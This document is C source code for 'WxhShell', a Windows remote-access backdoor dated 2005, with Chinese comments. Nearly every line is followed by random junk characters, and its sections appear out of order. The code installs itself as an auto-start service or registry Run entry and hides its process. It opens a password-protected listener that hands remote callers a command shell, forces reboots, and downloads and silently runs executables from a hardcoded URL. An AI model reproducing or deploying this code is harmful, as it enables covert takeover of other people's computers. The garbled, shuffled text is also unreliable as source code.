    if(Boot(SHUTDOWN)) }xzbg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hRN>]e,!  
    else { 0 .t1p(x;  
    closesocket(wsh); W&k2z,|  
    ExitThread(0); PmE2T\{s!  
    } I03 45Hc  
    break; w`0r`\#V/  
    } G|]39/OO3{  
  // 获取shell w~9=6|_  
  case 's': { w.0]>/C  
    CmdShell(wsh); y {1p#  
    closesocket(wsh); </d&bS  
    ExitThread(0); =gr3a,2  
    break; n1)m(,{  
  } o[eIwGxZ  
  // 退出 fL1EQ)  
  case 'x': { ODqWXw#  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); (hX}O>  
    CloseIt(wsh); 5/{gY{  
    break; =G2A Ufn   
    } 80ms7 B  
  // 离开 !tD,phca~  
  case 'q': { YVLaO*( f  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 4q5bW+$Xj  
    closesocket(wsh); E :Y *;  
    WSACleanup(); [I` 6F6  
    exit(1); R'r^v  
    break; [HhdeLOX  
        } s*j0uAq)up  
  } sh"\ kk9  
  } 3F0:v,+;  
\uV;UH7qe  
  // 提示信息 ~\m|pxcj  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _7zER6#}  
} 3$`qy|=zO  
  } wMB<^zZmv  
6,|)%~VUm  
  return; V<!E9/4rS  
} fOyLBixR  
VXAgp6  
// shell模块句柄 \YBY"J  
int CmdShell(SOCKET sock) >m{)shBX  
{ J5Tl62}  
STARTUPINFO si; ;0VE *  
ZeroMemory(&si,sizeof(si)); Ci ? +Sl  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; pJ#R :#P  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; <4Jo1  
PROCESS_INFORMATION ProcessInfo; )rs);Pl  
char cmdline[]="cmd"; LJMw-#61sj  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); GZ]; U] _  
  return 0; `QlChxd  
} =kvYE,,g_  
<vV?VV([  
// 自身启动模式 U:`g12  
int StartFromService(void) <zK9J?ZQW>  
{ ~WJEH#  
typedef struct ZIx,?E+eJ  
{ BjR:#*<qD  
  DWORD ExitStatus; ,wlh0;,  
  DWORD PebBaseAddress; XoaBX2  
  DWORD AffinityMask; E:&ga}h  
  DWORD BasePriority; &4yI]  
  ULONG UniqueProcessId; 'qhA4W9  
  ULONG InheritedFromUniqueProcessId; {=> <@]N  
}   PROCESS_BASIC_INFORMATION; }_L@CpG  
h30~2]hH  
PROCNTQSIP NtQueryInformationProcess; |:tFQ.Z'2  
:R<n{%~  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %fpcH  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~J6c1jG  
e}e\*BL  
  HANDLE             hProcess; >w?O?&Q$  
  PROCESS_BASIC_INFORMATION pbi; QO)Q%K,  
-<i&`*zG  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); #{l+I( M  
  if(NULL == hInst ) return 0; % ;2x.  
g!O(@Sqp1  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \+g95|[/  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); mMw&{7b:  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); :(Feg2c  
h"')D  
  if (!NtQueryInformationProcess) return 0; !G#3jh:kiY  
xU^Flw,4  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); |YQ:4'^"  
  if(!hProcess) return 0; kG+CT  
^=wG#!#V"1  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; rj*4ZA?  
`W8GfbL  
  CloseHandle(hProcess); 2`l$uEI3oJ  
0@t/j<5o  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 3M(:}c  
if(hProcess==NULL) return 0; %?C{0(Z{  
#oi4!%*M  
HMODULE hMod; >"S'R9t  
char procName[255]; c`y[V6q9  
unsigned long cbNeeded; Vcl"qz@Fj  
t.>vLzrU  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); R{+ Rvk  
5Y)!q?#H  
  CloseHandle(hProcess); l9q ygh  
^c^9kK'  
if(strstr(procName,"services")) return 1; // 以服务启动 z1F[okLA  
LC\Ys\/,U  
  return 0; // 注册表启动 ?jBna ~  
} WFg'G>*  
6pQ#Zg()vp  
// 主模块 V D.p"F(]  
int StartWxhshell(LPSTR lpCmdLine) z8mR< q%`  
{ d"nE+pgE  
  SOCKET wsl; EZc!QrY  
BOOL val=TRUE; `96:Z-!}  
  int port=0; u /cL[_Q  
  struct sockaddr_in door; h&5H`CR[  
][6$$ Lz  
  if(wscfg.ws_autoins) Install(); $d!Sl a  
HH2*12e  
port=atoi(lpCmdLine); p(~>u'c  
+8Zt<snG  
if(port<=0) port=wscfg.ws_port; ho@f}4jhQ3  
_pKW($\  
  WSADATA data; oWo"` "P  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Jnm{i|6N  
yGH'|`  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   (ZjIwA9>  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); RWXj)H)w  
  door.sin_family = AF_INET; ]{nFB3vtB  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); mhp5}  
  door.sin_port = htons(port); * "ER8\  
klKAwCQ,  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @k,u xe-  
closesocket(wsl); qw0tw2|  
return 1; yK0Q,   
} Yq#I# 2RD  
T2} I,{U  
  if(listen(wsl,2) == INVALID_SOCKET) { <2ffcBv  
closesocket(wsl); 0:h;ots'  
return 1; @C7S^|eo  
} m^O:k"+!  
  Wxhshell(wsl); $ZXy&?4  
  WSACleanup(); )~O{jd  
u sR19_E-  
return 0; sxO_K^eD  
rc*&K#? B  
} M`KrB5a+6  
zV4%F"-  
// 以NT服务方式启动 l`gRw4 /$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 3>0/WbA:7E  
{ xp1 +C{  
DWORD   status = 0; ~DPg):cZ  
  DWORD   specificError = 0xfffffff; u|WX?@\  
Nt&}T  
  serviceStatus.dwServiceType     = SERVICE_WIN32; dj?.Hc7od  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ).N}x^  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; H<%7aOwO2  
  serviceStatus.dwWin32ExitCode     = 0; M[R, m_p  
  serviceStatus.dwServiceSpecificExitCode = 0; }%y_Lc L  
  serviceStatus.dwCheckPoint       = 0; +sE81B  
  serviceStatus.dwWaitHint       = 0; >('L2]4\v  
c"H4/,F  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); A! <R?  
  if (hServiceStatusHandle==0) return; 9 o-T#~i  
 ~ceGx  
status = GetLastError(); _xAdvr' W  
  if (status!=NO_ERROR) rd0BvQ9TK  
{ X+P& up06  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; M$%aX,nk'  
    serviceStatus.dwCheckPoint       = 0; sryujb.,  
    serviceStatus.dwWaitHint       = 0; f>waF u-  
    serviceStatus.dwWin32ExitCode     = status; v=i[s  
    serviceStatus.dwServiceSpecificExitCode = specificError; 2[9hl@=%  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); (~}yt.7K  
    return; 6VQ*z8wLw  
  } /I$g.f/#  
P) ^K&7X  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; [_L:.,]g8  
  serviceStatus.dwCheckPoint       = 0; {^"c>'R  
  serviceStatus.dwWaitHint       = 0; 0$}+tq+  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); =:6Y<ftC  
} f&8&UL>e`  
tV*g1)'zX  
// 处理NT服务事件,比如:启动、停止 *ta|,  
VOID WINAPI NTServiceHandler(DWORD fdwControl) > g8;x#  
{ x nWapG  
switch(fdwControl) OjE wJ$$  
{ WsJ3zZc  
case SERVICE_CONTROL_STOP: rNfua   
  serviceStatus.dwWin32ExitCode = 0; 8\. #  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; m {_\@'q  
  serviceStatus.dwCheckPoint   = 0; h k(2,z  
  serviceStatus.dwWaitHint     = 0; lx U}HM  
  { vsqfvx  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /Kwo^Q{  
  } uzho>p[ae  
  return; L;fhJ~ r  
case SERVICE_CONTROL_PAUSE: D>?%p"e  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; pL.r 9T.  
  break; G}BO!Z6  
case SERVICE_CONTROL_CONTINUE: /ta-jOcRH&  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ~6kEpa  
  break; N: d`L+tcc  
case SERVICE_CONTROL_INTERROGATE: G5"UhnOD'  
  break; V2i*PK X  
}; 2B=yT8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :~ zK0v"  
} lmj73OB3  
9d#-;qV  
// 标准应用程序主函数 tE3!;  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `-]*Qb+  
{ i)+@'!6  
Z7K ;~*  
// 获取操作系统版本 7$Bq.Lc#z  
OsIsNt=GetOsVer(); BGLJ>zkq  
GetModuleFileName(NULL,ExeFile,MAX_PATH); !j%vUe;t  
b0 PF7PEEQ  
  // 从命令行安装 I Zi1N  
  if(strpbrk(lpCmdLine,"iI")) Install(); |"5NI'X?  
6Nj\N oS  
  // 下载执行文件 |M)'@s:  
if(wscfg.ws_downexe) { $w)yQ %  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 'r(}7>~fC  
  WinExec(wscfg.ws_filenam,SW_HIDE); QC \8Zy  
} p r(:99~3  
\uQ(-ji  
if(!OsIsNt) { rzLpVpTaz  
// 如果时win9x,隐藏进程并且设置为注册表启动 XlV#)JX  
HideProc(); u~bk~ 3.I  
StartWxhshell(lpCmdLine); Dx4?6  
} w%S\)wjS  
else \a<qI  
  if(StartFromService()) xs.>+(@|;  
  // 以服务方式启动 (pREo/T  
  StartServiceCtrlDispatcher(DispatchTable); p#qQGJe  
else c,!Ijn\;(  
  // 普通方式启动 )f*&}SV  
  StartWxhshell(lpCmdLine); b5No>U) /  
;} Ty b  
return 0; A=I]1r  
} }_@*,  
//3iai  
iNe;h|  
crz )F"  
=========================================== QuT8(s1Q!  
rNO'0Ck=  
Ldf<  
rt_%_f>qd  
k_ UY^vz.  
k9~NIvnB`  
" 8l~] }2LAs  
[_G_Wl'#8  
#include <stdio.h> Rd&2mL  
#include <string.h> Z Mt9'w;  
#include <windows.h> 1 }Tbp_  
#include <winsock2.h> [v^T]L  
#include <winsvc.h> )c^Rc9e/  
#include <urlmon.h> =XzrmPu  
)U`6` &F  
#pragma comment (lib, "Ws2_32.lib") plh.-"   
#pragma comment (lib, "urlmon.lib") =$X5O&E3'  
+j1s*}8  
#define MAX_USER   100 // 最大客户端连接数 `J'xVq#O  
#define BUF_SOCK   200 // sock buffer K9njD#/  
#define KEY_BUFF   255 // 输入 buffer &-:ZM0Fl  
SGXXv  
#define REBOOT     0   // 重启 4`I2tr  
#define SHUTDOWN   1   // 关机 P%8 Gaa=  
IGV@tI  
#define DEF_PORT   5000 // 监听端口 p^3 ]Q  
['~3"lK^O  
#define REG_LEN     16   // 注册表键长度 }rj.N98  
#define SVC_LEN     80   // NT服务名长度 f-F+Y`P  
xdFm-_\-  
// 从dll定义API ?T3zA2  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); F=7X,hK  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Qj.]I0d  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1p[C5j3  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %YkJ A:  
yS^";$2Tc  
// wxhshell配置信息 j1Fy'os"!  
struct WSCFG { 5z~rl}`v  
  int ws_port;         // 监听端口 DJVH}w}9_P  
  char ws_passstr[REG_LEN]; // 口令 n sKl3}uU  
  int ws_autoins;       // 安装标记, 1=yes 0=no $sTbFY  
  char ws_regname[REG_LEN]; // 注册表键名 5=WzKM  
  char ws_svcname[REG_LEN]; // 服务名 NoTEbFrV  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 i,r O3J n  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 >v7fR<(%s  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [CL.Xil=  
int ws_downexe;       // 下载执行标记, 1=yes 0=no # ` Q3Z}C  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Jz&a9  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 V(I!HT5.W  
)_k"_VVcC  
}; cKJf0S:cx-  
]-QY, k  
// default Wxhshell configuration b#`XmB  
struct WSCFG wscfg={DEF_PORT, &_Ze@Ir-  
    "xuhuanlingzhe", %X7R_>.   
    1, >Akrbmh5  
    "Wxhshell", Yz(k4K L  
    "Wxhshell", o=}}hE\H  
            "WxhShell Service", Xb?:dlu3  
    "Wrsky Windows CmdShell Service", >L\$  
    "Please Input Your Password: ", t2skg  
  1, B>Tfyo  
  "http://www.wrsky.com/wxhshell.exe", Q97F5ru6  
  "Wxhshell.exe" KJn@2x6LP  
    }; 4Vl_vTz{i  
W; yNg  
// 消息定义模块 v%v(-, _q  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1/X@~  
char *msg_ws_prompt="\n\r? for help\n\r#>"; BmR++?L  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; QK%Nt  
char *msg_ws_ext="\n\rExit."; *j5>2-C &  
char *msg_ws_end="\n\rQuit."; zmH8^:-x  
char *msg_ws_boot="\n\rReboot..."; ~A@T_ *0  
char *msg_ws_poff="\n\rShutdown..."; W!vN (1:(  
char *msg_ws_down="\n\rSave to "; 2;Vss<hR4A  
uu ahR  
char *msg_ws_err="\n\rErr!"; vUm#^/#I  
char *msg_ws_ok="\n\rOK!"; 701a%Jq_2  
Z6s-n$dSm  
char ExeFile[MAX_PATH]; \d"JYym  
int nUser = 0; mApn[)?tv  
HANDLE handles[MAX_USER]; )4:K@  
int OsIsNt; URU,&gy=  
1 aWzd[i  
SERVICE_STATUS       serviceStatus; _gU:!:}  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; p]h;M  
i7$4i|  
// 函数声明 DrI"YX  
int Install(void); .5L|(B=H  
int Uninstall(void); KuBN_bd  
int DownloadFile(char *sURL, SOCKET wsh); 3y^PKIIrt  
int Boot(int flag); w-iu/|}  
void HideProc(void); $HgBzZ7A2  
int GetOsVer(void); & -r^Q  
int Wxhshell(SOCKET wsl); bfo..f-0/Y  
void TalkWithClient(void *cs); #b~B 0:U  
int CmdShell(SOCKET sock); mj{B_3b5  
int StartFromService(void); { 0\Ez}  
int StartWxhshell(LPSTR lpCmdLine); q4u,pm,@  
w O H{L  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); +85#`{ D  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); }9:( l  
a ?D]]0%  
// 数据结构和表定义  +kA>^  
SERVICE_TABLE_ENTRY DispatchTable[] = jr/  
{ r<'ni  
{wscfg.ws_svcname, NTServiceMain}, A]0A,A0  
{NULL, NULL} MB7UI8  
}; >+ ,w2m@0  
Z2n Jw  
// 自我安装 %MG{KG=&o  
int Install(void) Z9 z!YaOL  
{ 1Vf?Rw  
  char svExeFile[MAX_PATH]; uu7 ?,WT  
  HKEY key; 5(wmy-x\  
  strcpy(svExeFile,ExeFile); u<L<o 2  
[U5@m]>^  
// 如果是win9x系统,修改注册表设为自启动 4X-"yQ<U  
if(!OsIsNt) { ~7p!t%;$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { vEy0DHEE  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); aE|'%72g  
  RegCloseKey(key); M)x6m|.=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6=cfr; BH2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7eNLs  
  RegCloseKey(key); cI Sugk~  
  return 0; 6jw9p+.  
    } &}'FC7}  
  } gB _/(  
} [T |P|\M  
else { WCNycH+1  
dU}Cb?]7s  
// 如果是NT以上系统,安装为系统服务 }b5omHUE%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 1Kjqs)p^  
if (schSCManager!=0) (rmOv\hG9V  
{ y+\kZIqX  
  SC_HANDLE schService = CreateService ,(u-q]8   
  ( 18^#:=Z  
  schSCManager, w"`Zf7a{/  
  wscfg.ws_svcname, SFu]*II;{  
  wscfg.ws_svcdisp, D`|8Og  
  SERVICE_ALL_ACCESS,  =oE(ur  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @4t_cxmD  
  SERVICE_AUTO_START, o3"Nxq"U  
  SERVICE_ERROR_NORMAL, ( ]E0fjk  
  svExeFile, zqHG2:MN"  
  NULL, eA{ nwtN  
  NULL, Y/x>wNW  
  NULL, 6i+<0b}!/  
  NULL, ! k[JP+;  
  NULL dhX$b!DA  
  ); N \~}`({  
  if (schService!=0) '[Sm w'n6-  
  { Ypx5:gm|J  
  CloseServiceHandle(schService); 0 k.\o"y  
  CloseServiceHandle(schSCManager); `@q\R-`  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); h;+{0a  
  strcat(svExeFile,wscfg.ws_svcname); +\doF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Y\,aJL$  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ZveNe~D7C  
  RegCloseKey(key); q+znb'i-x  
  return 0; 8(Cs<C!  
    } 4U8N7  
  } 2Z-[x9t  
  CloseServiceHandle(schSCManager); `fuQ t4  
} T@Bu Fr`]<  
} "S]G+/I|iw  
?8w5tfN6t  
return 1; 3'Hz,qP  
} cR{F|0X  
5tI#UBha  
// 自我卸载 y7t'I.E[+  
int Uninstall(void) 6b7c9n Z  
{ 1{ H=The  
  HKEY key; ew \WV "  
0HO'%'Ga*  
if(!OsIsNt) { NXk~o!D  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -Qn l)JB  
  RegDeleteValue(key,wscfg.ws_regname); +7Uv|LZ~@  
  RegCloseKey(key); g~ii^[W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /-knqv  
  RegDeleteValue(key,wscfg.ws_regname); yq?\.~ax  
  RegCloseKey(key); v.&c1hKHb  
  return 0; YV8PybThc  
  } 3ey.r%n  
} _dY5qW1p  
} o}&{Y2!x  
else { v.- r %j{I  
e^<'H  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); r$1b=m,0d  
if (schSCManager!=0) 4ClSl#X#i  
{ f}~=C2R1<!  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ? 'qyI^m@  
  if (schService!=0) !F:mD ZeY  
  { [_KV;qS%/  
  if(DeleteService(schService)!=0) { [8<0Q_?,  
  CloseServiceHandle(schService); %)72glB  
  CloseServiceHandle(schSCManager); d[{!^,%x"  
  return 0; F( 4Ue6R  
  } ]h#QA;   
  CloseServiceHandle(schService); L PS,\+  
  } g[R4/]K^$  
  CloseServiceHandle(schSCManager); ?@z/#3b  
} =:Yrb2gP_\  
} UT5xUv5'  
]WzeJ"r {3  
return 1; ;[79Ewd#$  
} HOx+umjxW  
:L{*B$c  
// 从指定url下载文件 b9ud8wLE[  
int DownloadFile(char *sURL, SOCKET wsh) jXVvVv  
{ ]bAVOKm-  
  HRESULT hr; #sg*GK+|:R  
char seps[]= "/"; ,J '_Vi  
char *token; 0~EGrEt  
char *file; mr2Mu  
char myURL[MAX_PATH]; <$@I*xk[  
char myFILE[MAX_PATH]; S[gACEZ =  
ie11syhV"  
strcpy(myURL,sURL); qX`Hi9ja  
  token=strtok(myURL,seps); Y]=k"]:%  
  while(token!=NULL) oeZUd}P  
  { u(fZ^  
    file=token; jU kxA7 }}  
  token=strtok(NULL,seps); n!.=05OtX  
  } DSRmFxkk  
L }3eZ-  
GetCurrentDirectory(MAX_PATH,myFILE); }a/z.&x]V  
strcat(myFILE, "\\"); IRdR3X56  
strcat(myFILE, file); (c&%1bJ  
  send(wsh,myFILE,strlen(myFILE),0); CPL,QVO9  
send(wsh,"...",3,0); ^Zp  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Fc8 0HK5R  
  if(hr==S_OK) Q% d1O  
return 0; ,2 rfN"o  
else 7AS_Aw1L  
return 1; 6" <(M@  
k$ T  
} eX>*}pI  
ML MetRP  
// 系统电源模块 |AacV  
int Boot(int flag) S*>T%#F6Uo  
{ ZDAW>H<  
  HANDLE hToken; >_xuXEslUz  
  TOKEN_PRIVILEGES tkp; ,v 2^Ui  
0{uaSR  
  if(OsIsNt) { 9pPLOXr ,  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ;c)( 'k<  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Bu&9J(J1  
    tkp.PrivilegeCount = 1; Z:<an+v|5  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; -%]1q#C>@  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); K,JK9)T  
if(flag==REBOOT) { ZjMnGRP  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) u#rbc"  
  return 0; 'e*w8h  
} zH Z;Y^{+  
else { n1b:Bv4"]#  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) K9.Gjw  
  return 0; ^a`3)WBv8  
} V@T(%6<|  
  } #qmsZHd}b  
  else { W8$0y2  
if(flag==REBOOT) { _'ebXrbZB  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) AD^I1 ]2f  
  return 0; j}B86oX  
} jDqG9]  
else { _{; _wwz  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) UgK c2~  
  return 0; "&/2 @  
} i\l}M]Z#  
} F81EZ/  
G'p322Bu  
return 1; Z~QLjv&$/r  
} rX /'  
\o/eF&  
// win9x进程隐藏模块 *!JB^5(H  
void HideProc(void) In?#?:Q@&  
{ gpf0 -g-X  
d@1^U9sf  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); zRD-[Z/-  
  if ( hKernel != NULL ) cV0CI&  
  { 4oH ,_sr  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); (xN1?qXB.  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :UP8nq  
    FreeLibrary(hKernel); !`RMXUV  
  } /5/gnp C  
j*gJP !  
return; K0_gMi+bR  
} 8 /t';  
YI;iG[T,&  
// 获取操作系统版本 !&hqj$>-}  
int GetOsVer(void) ~gW^9nWYU  
{ OqDP{X:  
  OSVERSIONINFO winfo; GVJ||0D  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); A"&<$5Q  
  GetVersionEx(&winfo); pc0{  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^iJyo&I  
  return 1; pvUV5^B(M  
  else .,p=e$x]  
  return 0; +x}9a~QG#  
} 2vLun   
;h+~xxu=X  
// 客户端句柄模块 :o{,F7(P  
int Wxhshell(SOCKET wsl) eh<mJL%T  
{ TUC)S&bC  
  SOCKET wsh; j|wN7@Zc  
  struct sockaddr_in client; B+U:=591  
  DWORD myID; hEu_mw#  
cPuXy e  
  while(nUser<MAX_USER) Jj+Q2D:  
{ -u'"l(n)~  
  int nSize=sizeof(client); >8k Xa.)84  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); S<Gm*$[7  
  if(wsh==INVALID_SOCKET) return 1; _Iav2= 0Wi  
6V]m0{:E  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); m<-!~ ew  
if(handles[nUser]==0) uf#h~;B  
  closesocket(wsh); Z;81 "   
else +sjzT[ Dn  
  nUser++; ;z.niX.fx  
  } g ,EDE6`8  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); @}g3\xLiK  
WIf.;B)L  
  return 0; 2{63:f1c`'  
} :M6v<Kg{;  
=dDPQZEin  
// 关闭 socket gh ?[x.U  
void CloseIt(SOCKET wsh) C&H'?0Y@  
{ 5X)M)"rq;V  
closesocket(wsh); s. A}ydtt  
nUser--; dGBjV #bNT  
ExitThread(0); *YeQC t-l  
} {@)ZXg  
94ruQ/  
// 客户端请求句柄 k Alx m{  
void TalkWithClient(void *cs) *}lLV.+A  
{ ,GYQ,9:  
CL1*pL  
  SOCKET wsh=(SOCKET)cs; px K&aY8  
  char pwd[SVC_LEN]; Ld}?daPj  
  char cmd[KEY_BUFF]; b-VygLN  
char chr[1]; z80P5^9  
int i,j; KoNu{TJ  
7\2I>W  
  while (nUser < MAX_USER) { )8W! |  
&=kv69v  
if(wscfg.ws_passstr) { s<F*kLib  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); uW!XzX['  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zFExYYd   
  //ZeroMemory(pwd,KEY_BUFF); F/5G~17  
      i=0; `/>kN%  
  while(i<SVC_LEN) { M@.S Q@E  
%T]^,y$n  
  // 设置超时 ]<\YEz&A  
  fd_set FdRead; H575W"53  
  struct timeval TimeOut; ?<!q F:r:  
  FD_ZERO(&FdRead); 3Vc}Q'&Y  
  FD_SET(wsh,&FdRead); 6Bjo9,L  
  TimeOut.tv_sec=8; l5Bm.H_  
  TimeOut.tv_usec=0; ]E<Z5G1HD  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); yqq1a o  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); W34xrm  
Qs,\P^n  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3t TOs  
  pwd=chr[0]; Z\CvaX  
  if(chr[0]==0xd || chr[0]==0xa) { BeVDTk :  
  pwd=0; <3B^5p\/  
  break; W7!gD  
  } xyGwYv>*KO  
  i++; wg?}c ;  
    } JfN5#+_i  
?^%[*OCCC!  
  // 如果是非法用户,关闭 socket [Xu8~c X  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); c{/R?<  
} 5 qfvHQ ~M  
;b0Q%TDh  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 3s!6rT_=)d  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G)?*BH  
7 <^+)DsS?  
while(1) { 0#J~@1Gf  
Qt+D ,X  
  ZeroMemory(cmd,KEY_BUFF); KNAvLcg  
-pYmM d,  
      // 自动支持客户端 telnet标准   hUlRtt  
  j=0; CXrOb+  
  while(j<KEY_BUFF) { c6xr[tc%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .A< HM}   
  cmd[j]=chr[0]; ~][~aEat;V  
  if(chr[0]==0xa || chr[0]==0xd) { 03fOm  
  cmd[j]=0; zas&gsl-;  
  break; 3<r7"/5  
  } ]XEyG7D  
  j++; '0+I'_(  
    } , lR(5ZI  
tw$EwNI[  
  // 下载文件 uBbQJvL  
  if(strstr(cmd,"http://")) { w"9h_;'C_  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); PuP"( M  
  if(DownloadFile(cmd,wsh)) l[T-Ak  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); D", L.  
  else oDA'$]UL  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %1A8m-u]M  
  } L>14=Pr^(  
  else { %"H:z  
_R\FB|_  
    switch(cmd[0]) { 7He"IJ  
  q0+N#$g#  
